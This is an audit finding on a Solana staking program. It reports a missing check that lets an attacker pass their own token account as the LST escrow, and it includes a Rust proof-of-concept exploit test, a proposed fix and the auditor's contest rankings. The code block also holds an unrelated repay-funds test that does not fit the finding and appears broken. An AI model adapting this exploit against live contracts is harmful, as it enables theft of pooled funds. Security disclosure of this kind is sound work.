## Summary The `handle_lst_stake` function in `processor.rs` does not verify that the `lst_escrow_token_acc` is the correct associated token account (ATA) derived from `vault_params.key` and `pool_mint.key`. This allows an attacker to supply their own token account, potentially transferring LST tokens to there own account. ## Finding Description The function `handle_lst_stake` processes a deposit of SOL into an LST (Liquid Staking Token) pool. However, it fails to verify that the `lst_escrow_token_acc` (the escrow token account for LST) is the correct ATA derived from `vault_params.key` and `pool_mint.key`. This oversight allows an attacker to provide their own token account as `lst_escrow_token_acc`. Affected function ```rust pub fn handle_lst_stake<'a, 'b: 'a>( accounts_iter: &mut std::slice::Iter<'a, AccountInfo<'b>>, order: Box, signer: &AccountInfo<'b>, vault_params: &AccountInfo<'b>, ) -> Result { .. } ``` When the deposit_sol instruction is executed, the LST tokens are deposited into the attacker's token account instead of the intended escrow account. Since the attacker controls this account, they can freely transfer the LST tokens out without requiring any authorization from `vault_params`. The protocol intends for LST tokens to remain in the escrow account until `vault_params` authorizes their transfer, in current implementation any malicious user can bypass this. ## Impact Explanation 1. Theft of LST Tokens: An attacker can deposit SOL into the stake pool and receive LST tokens directly into their own token account (passed as `lst_escrow_token_acc`). Since the attacker controls this account, they can freely transfer the LST tokens out without requiring any authorization from `vault_params`. 2. Bypassing Protocol Restrictions: The protocol wants for LST tokens to remain in the escrow account until `vault_params` authorizes their transfer, attacker bypasses this restriction and can freely transfer lst out without authorization from `vault_params` ## Proof of Concept Consider the following situation 1. Attacker calls the `handle_lst_stake` function with a malicious `lst_escrow_token_acc` that is controlled by the attacker. 2. Observe that the LST tokens are deposited into the attacker's token account. 3. Attacker transfers the LST tokens out of his account, stealing funds from the protocol. ```rust pub fn test_repay_funds_vulnerability() { let authority = Rc::new(read_keypair_file("../../keypair.json").unwrap()); let rpc_client = RpcClient::new_with_commitment("http://127.0.0.1:8899", CommitmentConfig::processed()); // Setup initial state let token_mint = Keypair::new(); let user = Keypair::new(); let vault_params = Pubkey::find_program_address(&[VAULT_PARAMS_SEED], &crate::ID).0; // Initialize vault let initialize_ix = instruction::initialize(&crate::ID, &authority.pubkey()).unwrap(); let _res = build_and_send_transaction( &rpc_client, &[initialize_ix], Some(&authority.pubkey()), &[authority.clone()], ); // Create token mint let mint_ix = spl_token::instruction::initialize_mint2( &spl_token::ID, &token_mint.pubkey(), &authority.pubkey(), None, 9, ) .unwrap(); // Create user's token account let user_token_account = get_associated_token_address(&user.pubkey(), &token_mint.pubkey()); let create_ata_ix = spl_associated_token_account::instruction::create_associated_token_account( &authority.pubkey(), &user.pubkey(), &token_mint.pubkey(), &spl_token::ID, ); let order_id = 1; let swap_order = Pubkey::find_program_address(&[SWAP_ORDER_SEED, &order_id.to_le_bytes()], &crate::ID).0; // Try to repay funds - this should fail since we're loading account data from wrong account let repay_ix = instruction::repay_funds( &crate::ID, &user.pubkey(), order_id, InteropProvider::LayerZero, ) .unwrap(); let res = build_and_send_transaction( &rpc_client, &[repay_ix], Some(&user.pubkey()), &[Rc::new(user.clone())], ); // Verify transaction failed with expected error assert!(matches!( res, Err(ClientError::TransactionError( TransactionError::InstructionError(0, InstructionError::InvalidAccountData) )) )); // Verify user's funds are still in their account let token_balance = rpc_client .get_token_account_balance(&user_token_account) .unwrap(); assert_eq!(token_balance.ui_amount.unwrap(), 100.0); // Verify vault cannot receive repayments let vault_token_account = get_associated_token_address(&vault_params, &token_mint.pubkey()); let vault_balance = rpc_client .get_token_account_balance(&vault_token_account) .unwrap(); assert_eq!(vault_balance.ui_amount.unwrap(), 0.0); } #[test] pub fn test_lst_stake_vulnerability() { let authority = Rc::new(read_keypair_file("../../keypair.json").unwrap()); let rpc_client = RpcClient::new_with_commitment("http://127.0.0.1:8899", CommitmentConfig::processed()); let attacker = Keypair::new(); let lamports = 2_000_000_000; let _airdrop_signature = airdrop(&rpc_client, authority.pubkey(), lamports); let _airdrop_signature = airdrop(&rpc_client, attacker.pubkey(), lamports); // Initialize vault println!("\nInitializing vault"); let initialize_ix = instruction::initialize(&crate::ID, &authority.pubkey()).unwrap(); let _res = build_and_send_transaction( &rpc_client, &[initialize_ix], Some(&authority.pubkey()), &[authority.clone()], ); // Setup stake solution let stake_solution = SolutionTypeStakeData { stakeProtocol: StakeProtocolEnum::SolanaLST, stakeAction: StakeActionEnum::Deposit, stakingPoolAddress: system_program::ID.to_bytes().into(), }; let solution = SoliditySolutionType { enumVariant: SolutionTypeEnum::Stake, data: stake_solution.abi_encode(), }; let receiver = SolidityReceiver { enumVariant: ReceiverEnum::UserAddress, data: Vec::new(), }; let amount_in = 1_000_000_000; // 1 SOL let vault_params = Pubkey::find_program_address(&[VAULT_PARAMS_SEED], &crate::ID).0; // Transfer SOL to vault let transfer_ix = system_instruction::transfer(&authority.pubkey(), &vault_params, amount_in); let _res = build_and_send_transaction( &rpc_client, &[transfer_ix], Some(&authority.pubkey()), &[authority.clone()], ); let solidity_order = SolidityOrder { intentId: 1, amountIn: alloy_primitives::Uint::<256, 4>::from(amount_in), tokenIn: system_program::ID.to_bytes().into(), amountOut: alloy_primitives::Uint::<256, 4>::from(amount_in), tokenOut: system_program::ID.to_bytes().into(), receiver, sourceChainId: alloy_primitives::Uint::<256, 4>::from(SOLANA_CHAIN_ID_RAW), destinationChainId: alloy_primitives::Uint::<256, 4>::from(SOLANA_CHAIN_ID_RAW), timeoutUnixTimestampInSec: 1000000000, solution, hook: Vec::new(), initiatorAddress: Address::default(), additionalData: Vec::new(), }; let solidity_place_order_data = VaultBoundMessagePlaceOrderData { order: solidity_order, }; let vault_bound_message = SolidityVaultBoundMessage { enumVariant: VaultBoundMessageEnum::PlaceOrder, data: solidity_place_order_data.abi_encode(), }; let message = vault_bound_message.abi_encode(); // Create attacker's token account instead of vault's escrow account let pool_mint = solana_program::pubkey!("bSo13r4TkiE4KumL71LsHTPpL2euBYLFx6h9HP3piy1"); let attacker_token_account = get_associated_token_address(&attacker.pubkey(), &pool_mint); let stake_accounts = StakeAccounts::SolanaLST(SolanaLSTStakeAccounts { stake_pool: solana_program::pubkey!("azFVdHtAJN8BX3sbGAYkXvtdjdrT5U6rj9rovvUFos9"), stake_pool_withdraw_authority: solana_program::pubkey!( "4vJJQTSApqig3DEZbLRNuWscQfE6GVisSgRPraiPn1Fz" ), reserve_stake_account: solana_program::pubkey!( "aRkys1kVHeysrcn9bJFat9FkvoyyYD8M1kK286X3Aro" ), manager_fee_account: solana_program::pubkey!( "Dpo148tVGewDPyh2FkGV18gouWctbdX2fHJopJGe9xv1" ), pool_mint, sol_deposit_authority: solana_program::pubkey!( "SPoo1Ku8WFXoNDMHPsrGSTSG1Y47rzgn41SLUNakuHy" ), }); // Store and forward message let mut start_index = 0u64; let chunk_size = 800; for chunk in message.chunks(chunk_size) { let store_message_ix = instruction::store_message( &crate::ID, &attacker.pubkey(), chunk.to_vec(), message.len() as u64, start_index, ) .unwrap(); let compute_budget_limit_ix = ComputeBudgetInstruction::set_compute_unit_limit(60_000); let _res = build_and_send_transaction( &rpc_client, &[compute_budget_limit_ix, store_message_ix], Some(&attacker.pubkey()), &[Rc::new(attacker.clone())], ); start_index += chunk.len() as u64; } let receiver = [0; 32]; let forward_pending_messages_ix = instruction::forward_pending_messages( &crate::ID, &attacker.pubkey(), 1, receiver, message.clone(), 1, InteropProvider::LayerZero, Some(stake_accounts), ) .unwrap(); let compute_budget_limit_ix = ComputeBudgetInstruction::set_compute_unit_limit(1_400_000); let _res = build_and_send_transaction( &rpc_client, &[compute_budget_limit_ix, forward_pending_messages_ix], Some(&attacker.pubkey()), &[Rc::new(attacker.clone())], ); // Verify attacker has received LST tokens let attacker_balance = rpc_client.get_token_account_balance(&attacker_token_account).unwrap(); println!("Attacker LST balance: {}", attacker_balance.ui_amount.unwrap()); assert!(attacker_balance.ui_amount.unwrap() > 0.0); } ``` ## Recommendation A robust fix for this vulnerability is to verify that the `lst_escrow_token_acc` is the correct Associated Token Account (ATA) derived from `vault_params.key` and `pool_mint.key`. This ensures that the escrow token account is the one created by the create_associated_token_account instruction and is securely tied to the `vault_params` `account and the pool_mint`. ```rust // Verify that lst_escrow_token_acc is the correct ATA for vault_params.key and pool_mint.key let expected_ata = get_associated_token_address(vault_params.key, pool_mint.key); if lst_escrow_token_acc.key != &expected_ata { msg!("Invalid escrow token account: not the correct ATA"); return Err(ProgramError::InvalidArgument); } ```

Contest	Position	Date	Payout
inclusive-monorepo	2 / 15	January 2025	$6,724
Soon	7 / 19	December 2024	$2,650
reserve-index-dtfs-solana	5 / 20	March 2025	$1,666

chitresh

Top competitions